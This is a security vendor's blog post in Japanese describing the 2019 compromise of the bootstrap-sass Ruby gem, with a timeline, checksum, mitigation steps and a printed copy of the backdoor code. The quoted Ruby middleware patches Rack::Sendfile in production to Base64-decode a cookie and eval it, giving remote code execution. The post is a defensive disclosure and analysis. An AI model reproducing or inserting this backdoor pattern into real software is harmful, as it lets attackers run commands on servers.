Skip to main content

人気のRuby gem「bootstrap-sass」で悪意あるリモートコード実行バックドアが発見される

著者
backdoor discovered in Gem Header

2019年4月4日

0 分で読めます

2019年3月26日、これまでに合計2,800万回ダウンロードされた人気パッケージbootstrap-sassの悪意あるバージョンが、公式RubyGemsリポジトリに公開されました。バージョン3.2.0.3には巧妙に隠されたバックドアが含まれており、攻撃者がサーバーサイドのRailsアプリケーション上でリモートからコマンドを実行できる状態になっていました。

この脆弱性はすでにデータベースに登録済みです。Snykでプロジェクトをモニタリングしている場合、アプリケーションに悪意あるパッケージが含まれていれば、定期アラートで通知を受け取っているはずです。まだの場合は、Snykでアプリケーションのコードリポジトリをテストして、悪意あるバージョンの影響を受けていないか無料で確認できます。

Railsアプリケーションで脆弱なプロジェクトを使用していることが判明した場合は、直ちに対応してください。メジャーバージョンへのアップグレードを行わずに初動の緩和策を講じるには、脆弱なバージョン3.2.0.3を再公開された3.2.0.4に置き換えてください。

同日、Derek Barnesがtwbs/bootstrap-sassリポジトリにGitHubのIssueを作成し、悪意あるバージョンに関する問題を報告するとともに、bootstrap-sassのバージョン3.2.0.3に含まれる不審なコード片を指摘しました。

バックドアは巧妙にも、RubyGemsにのみ公開されたバージョン3.2.0.3に隠されていました。GitHubリポジトリには悪意あるバージョンのソースコードが存在せず、攻撃者は脆弱なバージョンをホストするサーバー上でコードを動的に実行できました。

bootstrap-sassは非常に人気のあるパッケージであり、この悪意あるバックドアは多くのユーザーに影響を及ぼす可能性があります。パッケージのGitHubリポジトリには12,000件を超えるスターが付き、ダウンロード数は合計2,700万回以上です。現行バージョン3.4.1のダウンロード数は217,000回を超えています。

簡単な分析では、直接利用によって悪意あるライブラリの影響を受けた可能性のあるGitHubリポジトリが約1,670件見つかりました。推移的依存関係としてアプリケーションで利用されているケースを含めると、この数は大幅に増加します。

攻撃のタイムラインを振り返る

  • バージョン3.2.0.2がRubyGemsレジストリから削除されました。つまり、tarballにはRubyGemsリポジトリから直接アクセスできますが、パッケージマネージャーには表示されません。確認できる限り、このバージョンに悪意はなく、悪意ある攻撃者が次に公開した3.2.0.3へユーザーをアップグレードさせるために取り下げたものです。

  • 3月26日、攻撃者によってバージョン3.2.0.3が公開されました。このバージョンには、新しいファイルlib/active-controller/middleware.rbに隠されたバックドアが含まれています。このバックドアは別のRubyモジュールに介入して変更を加え、クライアントから送信された特定のCookieをBase64デコードしたうえで実行時に評価します。これにより、リモートコード実行が可能になります。

  • 悪意あるバージョン3.2.0.3のSHA256チェックサムは、366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0です。

  • 攻撃者は、2人のメンテナーのいずれかから悪意あるRubyGemsパッケージを公開するための認証情報を入手したと考えられますが、公式には確認されていません。

  • 3月26日午後10時59分(GMT)、Derek Barnesは公開リポジトリにIssueを作成し、バージョン3.2.0.3のコードに対する疑念をメンテナーとコミュニティに知らせました。

  • その約1時間後の3月26日午後11時56分(GMT)、悪意あるバージョンはRubyGemsリポジトリから削除され、メンテナーは認証情報を更新したことを確認しました。

  • バージョン3.2.0.2と3.2.0.3の両方が削除されたため、ユーザーはプロジェクトのメンテナーが推奨する3.4.1など、別のバージョンにアップグレードする必要がありました。

  • 2019年4月3日午後4時10分(GMT)、プロジェクトのメンテナーは新しいバージョン3.2.0.4をリリースしました。これは取り下げられたバージョン3.2.0.2と同一で、メジャーバージョンを変更せずに安全なバージョンへ簡単にアップグレードできるようにするものです。

2019年4月4日午後4時46分(GMT)更新:脆弱なバージョン3.2.0.2は誤って削除されており、その後数日間、ミラー経由でRubyGemsレジストリに残っていました。現在は完全に利用できなくなったと報告されています。

脆弱性の仕組みを解明する

悪意あるバックドアを詳しく理解するには、RubyのWebアプリケーション開発においてbootstrap-sassパッケージがどのように使われるのかを知る必要があります。

bootstrap-sassはTwitter Bootstrapの親プロジェクトから派生した公式プロジェクトで、SASSを利用したBootstrap 3のバージョンを提供します。SASSは、ミックスイン、変数、条件文などの機能を通じてCSSファイルの記述を抽象化し、フロントエンドエンジニアの作業を支援するツールです。

SASSツールは主にフロントエンドアセットに関わるもので、通常は静的アセットを生成するフロントエンドのビルド工程で利用されます。生成されたアセットは静的Webサーバーから配信されます。一方、バックエンドとフロントエンドの両方のコードを提供するRuby on Railsアプリケーション向けに、bootstrap-sassプロジェクトはフレームワークで使われるRubyバインディングを提供します。

Railsアプリケーションでbootstrap-sassライブラリを使う場合は、この依存関係を宣言し、関連するCSSのインポートを更新して、実行時にCSSファイルをコンパイルする際にbootstrap-sassを含めます。

bootstrap-sassをインポートすると、lib/active-controller/middleware.rbにある次の悪意あるミドルウェアコードも読み込まれます。

begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

バックドアの概要:

  • import rack/sendfile

  • Railsアプリケーションが本番環境で実行されている場合、callメソッドを変更する

  • callメソッドのモンキーパッチにより、元のメソッドが更新されます。クライアント側から送信された___cfduidというHTTP Cookieを読み取り、Base64デコードしてから、実行時に動的コードを評価します。動的コードの実行後、元のcallメソッドを呼び出します。

どうすればよいですか?

Snykでプロジェクトをモニタリングしている場合、アプリケーションにこの悪意あるパッケージが含まれていれば、Snykの定期アラートで通知を受け取っているはずです。

Snykでプロジェクトをモニタリングしていない場合でも、こちらをクリックしてリポジトリをテストすると、オープンソースプロジェクトを一度だけテストできます。または、CLIを使ってローカルでプロジェクトをテストすることもできます。

影響を受けています。次に何をすればよいですか?

Railsアプリケーションで脆弱なプロジェクトを使用していることが判明した場合は、直ちに対応してください。メジャーバージョンへのアップグレードを行わずに初動の緩和策を講じるには、現在の脆弱なバージョン3.2.0.3を再公開されたバージョン3.2.0.4に置き換えてください。

今後の悪意ある活動を監視し、アプリケーションに存在するその他の脆弱性も検出できるよう、リポジトリをSnykに接続することをおすすめします。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。